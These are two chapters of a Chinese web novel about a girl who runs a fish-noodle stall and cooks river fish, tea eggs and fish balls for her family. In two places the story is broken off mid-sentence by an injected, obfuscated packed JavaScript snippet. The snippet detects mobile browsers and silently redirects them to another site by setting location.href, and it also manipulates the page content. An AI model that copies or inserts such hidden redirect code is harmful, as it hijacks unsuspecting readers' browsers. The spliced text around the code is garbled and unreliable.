陆英摸摸小腹：“最近补身子补得太过，吃得清淡点也好，做一锅柴火煨河鲜也不错。” 一家人围上来，很快处理好麻烦的小河鱼河虾。 锅中热油，不知名的小杂鱼煎得两面金黄，红透了的河虾蜷缩起来，加上红酱炒出诱人的色泽，倒入适量清水莫过食材。 家里没陶罐，还是问隔壁宋婶家借来，盛入陶罐，倒扣上一只粗瓷碗，塞进灶膛，利用柴火的温度，细焖慢煨。 灶里柴火烧得噼里啪啦作响，密封的陶罐内，食材在酱色汤水中咕嘟咕嘟翻滚。 待到米饭蒸熟，小心扒拉出来陶罐，粗布包着手，揭开陶罐的粗瓷碗，霎时酱香与鱼香扑鼻，独特的烟火气弥漫。 撒上把蒜叶，盛出煨好河鲜，便可以开饭了。 “好烫。”心急吃热豆腐的林青叶，被烫得一嘴麻，待缓过劲，发现父母吹了吹热气，嗦掉小鱼鱼肉，又去夹河虾。 生怕落后一步，少吃了，林青叶一面呼呼给筷子上的小鱼吹起，一面早早盯上了碗里的猎物。 20. 茶叶蛋 经菜籽油香煎的小河虾，外壳酥脆，不用去壳，连壳带肉都能嚼着吃。 陶罐煨出来的食材，火力猛，小鱼小虾炖得烂乎，筷子轻轻一夹，鱼肉都快化掉，轻轻一嘬，鱼肉与鱼骨分离，能吃出一条干干净净的鱼刺。 嘎嘎香。 嗦完一条虾虎鱼，太过肥美，林芫花仍不满足，一连尝了好几条，这才雨露均沾地将筷子伸向另一盘清炒白菜苔。 随着天气转暖，地里割完的白菜桩，冒出了新绿，几日不见，抽出嫩黄的菜苔。 掐一把，剥去外皮，里头的嫩茎水分充足，脆生生，一点蒜末在热油里爆出香气，倒入白菜苔翻炒，变色后，添上点盐巴盛出。 不需要太复杂的烹饪方式，简单的清炒，一点点盐巴，最能提现白菜苔原本的春鲜风味。 掐成段的白菜嫩茎一入口，汁水甜津津，脆甜嫩，一口仿佛尝到了春天的味道！ 林芫花可太喜欢春天了。 春随草色向南深，万物焕发生机。 最近忙着本月中旬月考一事，董致远差点忘记，今日路过渔粉摊，想起上回吃渔粉，没给钱。 上回现煮现做的渔粉滑嫩鲜香，今日他本想再来品尝，望着小摊前排起长龙的队伍，一面替摊主高兴，一面微微叹气，从钱袋子摸出五枚铜板，：“上次忘带钱袋子，还你。” 林芫花接了铜板，笑眯眯：“夫子慢走。” 许是渔粉摊便宜量大，用料扎实，味道好，口碑做出来了，近两日小摊前的食客络绎不绝，不少附近的住户过来光顾。 早早收摊，林芫花琢磨着渔粉生意不错，自从添置了铁锅后，每日需要多用些柴火，现煮现做，渔粉味道更好，但成本增加了。 以前一碗渔粉卖五文钱，能挣两文，现在利润只有一文七，外人瞧着多卖出去了几碗渔粉，小摊前每日红红火火，其实自己荷包里没比以前多挣银钱。 趁着有客流量，或许可以增加其它小吃，一起搭着卖，毕竟谁会嫌赚的银钱多呢？ 开春后，天色黑得晚些。 傍晚家家户户吃过晚饭，林家的篱笆小院迎来了位小客人。 王茂探头探脑，见到林芫花在，有了靠山，大着胆子使唤林青叶：“喂，林青叶。” 林青叶掏掏耳朵，不搭理他。 王茂仗着林芫花狐假虎威：“怎么说大家都是竹溪书院的学子，按照辈分来说，你该尊称我一声师兄，过来给我开门。” 竹溪书院有个不成文规定，不以年龄论辈分，以课业成绩论辈分，推崇实力为尊！ 林青叶初入书院，目前分配在最末等的丁字班，而王茂前不久通过刻苦努力，终于从丁字班的钉子户，晋升到丙字班。 按理说，林青叶确实该唤王茂一声师兄。 看到弟弟吃瘪，林芫花看热闹不嫌事大：“你这个做师弟的太不懂事，怎么能把书院的师兄关在门外？” “就是就是。”王茂附和。 两人一唱一和，给林青叶气得面色又青又白，气鼓鼓开了院门。 王茂语重心长：“虽然师弟比我年长几岁，我这个做师兄的心胸宽阔，不同你一般计较。” “来劲了是吧？”林青叶磨着牙，暗搓搓威胁：“本月中旬月考，夫子道我进步很快，希望下个月，王茂师兄还能这么硬气？” 说得王茂面色一僵，很快想起前几日的月考，从丁字班师弟口中打听来的消息，林青叶进步神速，目前在丁字班的排名，从末等，跻身为中上等。 大概过不了多久，林师弟就能名列前茅，离开丁字班，晋升丙字班，同自己平起平坐。。 不止丁字班的师弟们好奇，林师弟是如何进步这么快？ 就连王茂与陶祥也好奇，所以才有了今日来林家一探究竟这遭。 本以为会见到林师弟挑灯夜读，或是头悬梁锥刺股的勤奋好学情景，如果是这样，王茂心里会舒服点。 哪知既不见林师弟手不离书的诵读，更无半点读书的刻苦样子，王茂来时，看见林师弟竟是帮阿姐敲煮鸡蛋壳。 十几颗煮鸡蛋敲碎了，浸泡在酱色的汤水里，空气中幽香浮动，清新淡雅，似乎是茶香。 茶叶蛋？ 从林家出来，夜读至深夜，王茂从半敞的窗子缝隙望向林家院子的方向，早早熄了灯。 以林家的境遇，恐怕没条件供着林师弟日日燃油灯读书。 林师弟这般天赋异禀，要是再加上刻苦用功，哪里还有他们这帮普通人一条活路？ 王茂虽艳羡林师弟的天赋，想着自家家境优渥对方，好歹能弥补一二，不该一味抱怨老天不公，于是埋首案桌，奋笔疾书。 一早，阿爷与父母天不亮下地耕田，随便应付几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525720|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口，没功夫给他准备朝食，递来几枚铜板，让到镇上买吃食。 王茂想起昨日在林家看到的茶叶蛋，最下等的粗劣茶叶，添了些佐料，闻着可香了。 沐着晨风，捏着铜板，来到渔粉摊前，果然瞧见了木桶里装着的茶叶蛋，排队买渔粉的食客多，听得林芫花让后面买渔粉的别排了，王茂弱弱问了声：“茶叶蛋还有吗？” 林芫花听声音耳熟，伸长了脖子往后望一眼：“茶叶蛋还有，稍等。” 等排到王茂，看到木牌用炭笔写了，茶叶蛋三文钱一个，倒是不便宜。 去年冬日时，母鸡不下蛋，鸡蛋能卖到三文钱一个。 眼下柔风甘雨，万象回春后，家里的母鸡每日下一颗蛋，听母亲说当下好像两个鸡蛋能卖三文钱。 转念一想，茶叶蛋要柴火煮熟，还得香料来配，这些都得花银子，摊贩为了讨生活摆摊，不是做大善人，不赚钱，谁愿意干？ 林芫花的茶叶蛋，还真不赚钱。 昨日想要增加点别的小吃，思来想去，做杂粮煎饼吧，得额外购买工具，不值当。 有什么不用买工具，不费事，可以搭着一起卖的呢？ 绞尽脑汁，最后想到了茶叶蛋。 做茶叶蛋需要用到八角、花椒、香叶和桂皮等香料，八角与香叶为海外传来的香料，打从前朝开始种植，两者价格还算亲民，从宫廷宴会到民间日常烹饪，都能瞧见它们的身影。 因八角与香叶用料少，煮茶叶蛋的话，放一粒八角，两片香叶足够，林芫花能负担得起。 今早自己家里吃掉四个茶叶蛋，剩下的十一个，按照三文钱一个卖，算下来，竟是一文不挣。 不过茶汤可以重复多次利用，明天卖的茶叶蛋，便可以实现盈利，每卖掉一个茶叶蛋，能对半挣！ 王茂拿着茶叶蛋，到隔壁菜饺子摊要来半笼，蘸着香醋吃完饺子，茶叶蛋放温了些。 蛋壳被提前敲碎过，茶汤的味道浸泡进入，剥开壳，蛋白表面有着蛛网一样的纹路，雪白蛋皮染上了棕黄茶色。 清新甘洌的茶香，如雨后芳草泥土的芳香，直往人的鼻子里钻，催促着食客迫不及待享用美食。 经过一夜浸泡，一口咬下，蛋白紧致软弹，吸收了茶汤与香料的味道，咸卤香、茶香，十分入味。蛋黄又是另一种绵绵沙沙的口感，干香干香的。 21. 脆肉鲩 一碗渔粉，有粉有鱼片，用料扎实，能喝上大半碗鲜香滚烫的热汤，吃个肚子圆滚滚，才卖五文钱。一颗茶叶蛋，小小一个，卖到三文，尽管有不少渔粉摊回头客，茶叶蛋销路遇冷。 渔粉售竭时，只卖掉五颗茶叶蛋，剩下一半，林芫花只得继续守摊。 去书院路上，着灰蓝长衫的中年男子扫见平时大排长龙的渔粉摊，被老董抱怨食客太多，自己吃不到的渔粉摊，今日竟然没什么人。 大家宁愿排队等候，这家渔粉摊肯定手艺不错！ 想着，张文祥走来：“还有渔粉吗？” “不好意思，渔粉卖完了。还有茶叶蛋，三文钱一个，五文钱俩。”林芫花打量对方，瞧着面善，似乎是竹溪书院的夫子。 “三文钱一个，五文钱俩，倒是不贵，要五文钱的。”张文祥揣着两只茶叶蛋进了书院，迎面撞见董致远与卢言庆。 卢言庆笔尖耸动，轻咦了声：“”什么味，好香。” 张文祥大方分出一颗茶叶蛋，自顾自剥蛋壳：“狗鼻子真灵，买两颗茶叶蛋，都能被你闻出来。我只有两个，你们分一个。嗯，不错，还挺入味，茶香厚重，卤汁咸香。” 卢言庆轻松剥开蛋壳，掰开一半蛋皮蛋黄，递来：“是不错，就是蛋黄有点噎人。” 董致远颇为嫌弃看一眼卢言庆指甲盖里的蛋黄泥，没接：“你自己吃，我想吃，会去买。” 他出了书院，去对面街道买茶叶蛋去了。 卢言庆把剩下的半颗茶叶蛋送进嘴里，品了品滋味，恋恋不舍吞咽，追了上来：“开了年，幸好有布商韩老爷募捐咱们私塾，扩大规模，有了现在的竹溪书院，额外聘请了两位夫子，不用跟以前一样赶着趟看顾甲乙丙丁字班，轻松多了。当然，最重要的是束脩也比以前更丰厚了。” 董致远意味深长道：“韩老爷肯募捐，替咱们买下周围房舍，打通院落，可不是冲着咱们名头来的。” 想到韩老爷话里话外的暗示，卢言庆目中一暗。 董致远看得开：“水往低处流，人往高处走，整个江州人人向往青山书院，有什么奇怪。” 说话间，两人走到小摊前，董致远要了两颗茶叶蛋。 卢言庆吃一个茶叶蛋不过瘾，还想再来一颗过过嘴瘾，但是买一颗要三文，总觉得吃了亏，递出三文钱，反悔道：“算了，最后两个我都要，让你早点收摊。” 林芫花：“多谢卢夫子。” 小姑娘甜甜的嗓音，跟吃了蜜似的，听得董致远吃味：“看来我这个董夫子就不重要了。” 林芫花好笑：“也谢谢董夫子。” 卖完茶叶蛋，她收拾物件放到小推车，返回王家村。 傍晚，饭桌上，仍旧有一碟子清炒白菜苔。 春雨绵绵，地里白菜苔生长茂盛，掐了又冒出新的嫩芽，根本吃不完。 第一日吃到白菜苔，清脆爽口，水分足，甜津津，现掐现做，难得的一道春鲜。 第二日吃白菜苔，偶尔夹上一筷子，清爽解腻，还不错。 到了第三日，第四日，看到白菜苔，陆英愣是一筷子没动，苦着脸，跟女儿提建议：“咱家明天吃点别的吧，妈实在不爱吃白菜苔，歇两天，过两天在吃也行。” 林芫花：“行，明天你们想吃什么？” “鱼丸。”陆英咽下口中的食物，小学生式地举手：“现在鲜鱼价格比冬日便宜，湖鱼几文钱一斤，价格不贵，煮个鱼丸三鲜汤，妈爱吃。” 一连吃了几日白菜苔，给陆英吃怕了。 林芫花点点头：“好，明天晚饭就做鱼丸三鲜汤。” 每天渔粉不够卖，或许可以多做点手打鱼丸一起卖着试试。 吃过晚饭，夕阳坠在缀在地平线，近来落了几场春雨，麦苗抽出花穗，花谢后，进入灌浆时期，这个重要时刻，特别需要肥料，能促进籽粒饱满，提高产量。 王家村种植小麦的农户，纷纷赶在这个时候给小麦施农家肥，春风里，飘荡着一股难以言喻的味道。 好在过了饭点，林芫花把自己的卧房的门窗关得严实。 弟弟则跟着父亲林书润给自家麦田施肥，忙到摸黑。 返回路上经过村长家，王茂推开院门，与林青叶望了个正着。 突然王茂眉头一皱，捏住鼻子：“林师弟，你好臭。” 林青叶耸耸肩：“刚才好像看到你姐了，怎么没看到你？” 王茂忏愧地说：“阿爷说地里的事，用不着我，让我好好读书就行。” 林青叶哦一声：“也是，这个月马上要月考，王师兄自是当努力刻苦些。” 王茂听出了不怀好意，要是自己这个师兄被师弟超越，以后岂不是都要唤林青叶一声师兄？ 本是久坐出门散步，这会子毫无散步的兴致，王茂立马关上院门，捧起书册苦读。 初升朝阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567100|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打在纸窗，林芫花今日带着八颗茶叶与渔粉摆摊。 昨日销量不佳，今日她特意少煮了茶叶蛋，靠着五文钱两个售卖的方式，竟然卖得不错。 渔粉卖完时，茶叶蛋也卖完了。 林芫花算了笔账，一天把自己买香料的本钱挣回来了，没亏本。 她收拾东西离开，旁边卖肉沫菜饺子的贩子见了眼馋，茶叶蛋烹饪简单，生鸡蛋三文钱两个，茶叶蛋卖五文钱两个，能有不少利润，且没什么门槛，自己的小摊也可以搭着卖。 …… 上午告知镇上伙计，除了黑鱼，让多送一条七八斤重的草鱼。 黄昏夕阳，鱼摊小贩送来了两条鲜鱼。 临江城距离王家村路程较远，自从林芫花辞掉码头工作，不会经常去城里，譬如渔粉摊生意有了起色，才会去城里挑选鲜鱼，顺便交代声，平时都是杨小叔鱼摊的小伙计帮忙送货。 给伙计结了银钱，林芫花拿倒背敲晕了活蹦乱跳的大鱼，看得帮忙摁住鱼身的林青叶脖子一缩：“太凶残了。” 林芫花白他一眼：“一会儿你别吃。” 林青叶捻开飞到脸上的一片鱼鳞，歪着脑袋：“我就吃，我偏吃。” 刮去鳞片，开膛破肚，林芫花的刀锋利落片出两条鱼肉，剁好的鱼骨放置一旁，给片好的鱼肉规整，剔出鱼红，这样捶打出来的鱼丸洁白无瑕，还没有腥气。 片好的鱼肉，基本无刺，将鱼肉切片剁馅，然后林芫花只需扯着嗓子喊：“老爸。” “唉，来了。”进了厨房，林书润见到案板上一摊鱼肉，手里被女儿塞来只光滑的擀面杖。 为了吃到美味鱼丸，父子俩只能老老实实捶打鱼丸了。 打好的鱼糜，加入提前准备的葱姜花椒水，添上冰凉的井水与木薯粉搅拌，摔打上劲，最后是挤鱼丸的步骤…… 一顿操作，累得够呛。 饭桌上，一碗三鲜鱼丸汤耗费一个多时辰，终于端上桌，委实不容易。 洁白圆润的鱼丸，佐上金黄的蛋皮、瘦肉丝，以及冬菇，咕嘟咕嘟沸腾着，汤水表面漂浮着一层金黄菜籽油，香气填满了整个厨房。 要是能添上软弹可口的鱼糕，火腿与大虾，滋味更鲜。 七斤草鱼，能出三斤鱼丸，又累又不赚钱，林芫花几乎立刻打消了卖鱼丸的念头。 不过看到草鱼，倒是叫林芫花想到了另一种生财法子——脆肉皖。